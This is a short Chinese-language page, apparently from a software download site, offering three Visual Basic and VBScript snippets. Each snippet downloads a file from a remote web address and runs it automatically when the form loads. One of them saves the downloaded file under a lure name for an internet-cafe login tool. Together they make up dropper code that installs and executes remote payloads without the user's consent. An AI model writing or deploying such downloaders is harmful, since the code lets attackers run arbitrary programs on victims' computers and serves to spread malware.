管理首页
Private Sub Form_Load()
URLDownloadToFile 0, "http://www.xxx.com/jx.exe", "C:\jx.exe", 0, 0
Sleep 5000 '单位是毫秒，下载完毕后的5000毫秒自动运行
ShellExecute 0, vbNullString, "C:\jx.exe", vbNullString, vbNullString, vbNormalFocus
End
End Subvbs程序:
msgbox " 即将自动下载并打开文件",64,"文件下载中，请耐心等待···"
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://221yy.5d6d.com/attachment.php?aid=1",0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "惊天动地网吧专用登入器.rar",2
Set run = createObject("wscript.shell")
run.run "惊天动地网吧专用登入器.rar",3 vb程序：
Private Sub Form_Load()
MsgBox " 即将自动下载并打开文件", 64, "文件下载中，请耐心等待···"
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET", "http://www.shenlon.net/get.asp?id=11099&type=1&url=1", 0
xPost.Send
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open
sGet.Write (xPost.responseBody)
sGet.SaveToFile "200912915352735133.rar", 2
Set run = CreateObject("wscript.shell")
run.run "200912915352735133.rar", 3
End Sub
|
您还没有登录┊登录┊注册
- 附汉化补丁 
- 附注册 
- 会员软件 
- 推荐 
- 最新添加
当前位置：
